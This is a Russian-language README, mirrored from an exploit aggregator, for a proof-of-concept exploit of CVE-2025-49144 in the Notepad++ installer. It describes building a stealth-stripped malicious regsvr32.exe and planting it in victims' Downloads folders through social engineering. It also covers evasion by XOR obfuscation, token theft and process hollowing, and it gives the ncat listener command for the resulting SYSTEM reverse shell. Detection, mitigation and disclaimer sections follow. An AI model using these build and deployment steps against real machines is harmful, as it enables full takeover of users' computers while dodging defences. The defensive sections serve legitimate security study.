## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VR00MM-CVE-2025-49144
# Подмена бинарного файла в Notepad++ — PoC (CVE-2025-49144)
> **⚠️ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ**
> Этот код создан в образовательных и исследовательских целях для понимания уязвимостей, связанных с подменой бинарных файлов. Используйте его только в контролируемых средах с соответствующим разрешением.
## 📋 Обзор
Данный PoC демонстрирует уязвимость подмены бинарного файла в установщике Notepad++ (CVE-2025-49144), описанную в GHSA-9vx8-v79m-6m24. Уязвимость позволяет атакующему получить привилегии уровня SYSTEM, разместив вредоносный исполняемый файл с именем `regsvr32.exe` в том же каталоге, где находится установщик Notepad++.
## 🎯 Детали уязвимости
* **Цель** : установщик Notepad++ (все версии до v8.8.2)
* **Метод** : подмена бинарного файла через вредоносный `regsvr32.exe`
* **Первопричина** : установщики Notepad++ вызывают системные бинарные файлы, такие как regsvr32, без указания абсолютных путей
* **Воздействие** : когда пользователь запускает установщик, система автоматически загружает вредоносный файл с привилегиями SYSTEM, предоставляя атакующему полный контроль над целевой машиной
* **Вектор атаки** : социальная инженерия или кликджекинг, чтобы обманом заставить пользователей загрузить легитимный установщик и вредоносный исполняемый файл в один и тот же каталог (обычно в папку «Загрузки»)
## 🏗️ Архитектура
PoC состоит из нескольких компонентов, работающих вместе:
root@kitploit:~
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
### Основные компоненты
## 🔧 Технические возможности
### 🛡️ Методы обхода обнаружения
* **Обфускация строк** : путь PowerShell кодируется с помощью XOR, чтобы избежать статического обнаружения
* **Отсоединённые процессы** : создаёт независимые процессы, которые переживают завершение родительского процесса
* **Имитация токенов** : повышает привилегии путём кражи токенов SYSTEM
* **Процесс-холлоуинг** : внедряет код в легитимные процессы Windows
### 🌐 Сетевые возможности
* **TCP Keep-Alive** : поддерживает постоянные соединения через межсетевые экраны
* **Повторное подключение** : автоматическое переподключение с настраиваемыми задержками
* **Обработка таймаутов** : неблокирующие операции с сокетами с корректными таймаутами
* **Ограничение частоты** : предотвращает спам соединениями и обнаружение
### 💻 Системная интеграция
* **Интеграция CGO** : бесшовная интероперабельность Go и C для системных вызовов
* **Маскировка исполняемого файла** : имитирует поведение легитимного regsvr32.exe
* **Многопоточность** : отдельные потоки для обработки stdin/stdout/stderr
* **Восстановление после ошибок** : корректная обработка сбоев соединения и завершения процессов
* **Управление ресурсами** : надлежащая очистка дескрипторов, сокетов и памяти
## 🚀 Инструкции по сборке
### Предварительные требования
root@kitploit:~
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control
### Компиляция
root@kitploit:~
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Build as executable (masquerading as regsvr32.exe)
# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe
# For development (with debug symbols)
go build -o regsvr32_debug.exe
## 📖 Использование
### Подмена бинарного файла (основной вектор атаки)
root@kitploit:~
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445
## 🔍 Схема атаки
root@kitploit:~
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEM
## 🎓 Образовательные аспекты
### Демонстрируемые концепции безопасности
1. **Подмена бинарного файла**
* Небезопасное поведение пути поиска исполняемых файлов
* Повышение привилегий через уязвимости установщика
* Векторы атаки с использованием социальной инженерии
2. **Повышение привилегий**
* Методы имитации токенов
* Кража токенов процессов
* Получение доступа уровня SYSTEM
3. **Механизмы закрепления**
* Создание отсоединённых процессов
* Имитация служебных процессов
* Логика повторного подключения
4. **Сетевое программирование**
* Реализация реверс-шелла
* Программирование сокетов на C
* Кроссплатформенные сетевые взаимодействия
5. **Программирование на CGO**
* Интероперабельность Go и C
* Системное программирование на Go
* Межъязыковая интеграция
### Учебные цели
* Понять, как работают уязвимости подмены бинарных файлов
* Узнать о небезопасных путях поиска исполняемых файлов в установщиках
* Изучить повышение привилегий в Windows через недостатки установщиков
* Исследовать векторы атак с использованием социальной инженерии
* Попрактиковаться в программировании на CGO и межъязыковой интеграции
* Попрактиковаться в безопасном программировании и анализе уязвимостей
## 🛡️ Обнаружение и смягчение последствий
### Методы обнаружения
root@kitploit:~
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Check for unusual network connections
netstat -ano | findstr ":4445"
# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
### Стратегии смягчения последствий
* **Немедленные действия** : обновитесь до Notepad++ v8.8.2 или новее, где при вызове таких исполняемых файлов, как regsvr32, явно задаются абсолютные пути
* **Внесение приложений в белый список** : используйте такие инструменты, как AppLocker или Windows Defender Application Control
* **Проверка исполняемых файлов** : внедрите проверку цифровой подписи для всех исполняемых файлов
* **Проверка путей** : убедитесь, что приложения используют полные пути к системным утилитам
* **Минимальные привилегии** : запускайте приложения с минимально необходимыми правами
* **Мониторинг сети** : отслеживайте необычные исходящие соединения
* **Обнаружение на конечных точках** : разверните решения EDR для обнаружения процесса-холлоуинга
* **Проверка конфигурации** : избегайте запуска установщиков из каталогов, доступных для записи пользователю, например из папки «Загрузки»
## ⚖️ Правовые и этические аспекты
### ⚠️ Важные оговорки
* **Требуется разрешение** : используйте только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение
* **Образовательное назначение** : этот код предназначен для обучения и исследований в области безопасности
* **Отсутствие вредоносных намерений** : не предназначен для несанкционированного доступа или незаконной деятельности
* **Ответственное раскрытие** : сообщайте о найденных уязвимостях через надлежащие каналы
### Этические нормы
1. **Ответственное использование** : используйте только для легитимного тестирования безопасности и обучения
2. **Запрет несанкционированного доступа** : никогда не разворачивайте атаку против систем без разрешения
3. **Надлежащая атрибуция** : указывайте первоначальных исследователей и авторов обнаружения уязвимости
4. **Обмен знаниями** : делитесь находками с сообществом специалистов по безопасности ответственным образом
## 🔧 Устранение неполадок
### Частые проблемы
**Сбои подключения**
root@kitploit:~
# Check if port is available
netstat -ano | findstr ":4445"
# Verify firewall settings
netsh advfirewall firewall show rule name=all | findstr "4445"
**Ошибки сборки**
root@kitploit:~
# Ensure CGO is enabled
set CGO_ENABLED=1
# Check MinGW installation
gcc --version
# Verify Go installation supports CGO
go env CGO_ENABLED
**Сбои получения токена**
* Убедитесь, что программа запущена с достаточными привилегиями
* Проверьте, доступны ли процессы SYSTEM для кражи токенов
* Проверьте совместимость с версией Windows
* Примечание: эта уязвимость затрагивает все версии Notepad++ до v8.8.2, поэтому PoC должен работать на самых разных установках
## 📚 Ссылки
* Репозиторий CVE-2025-49144
* Уведомление о безопасности Notepad++ — GHSA-9vx8-v79m-6m24
* NVD CVE-2025-49144
* MITRE ATT&CK T1574.007 — Перехват пути через переменную окружения PATH
* MITRE ATT&CK T1134 — Манипуляция токенами доступа
* Документация Microsoft — Безопасная загрузка бинарных файлов
## 📄 Лицензия
Этот проект распространяется под лицензией MIT в образовательных целях. Подробности см. в файле LICENSE.
* * *
**Помните** : этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Всегда следуйте практике ответственного раскрытия уязвимостей и соблюдайте правовые границы.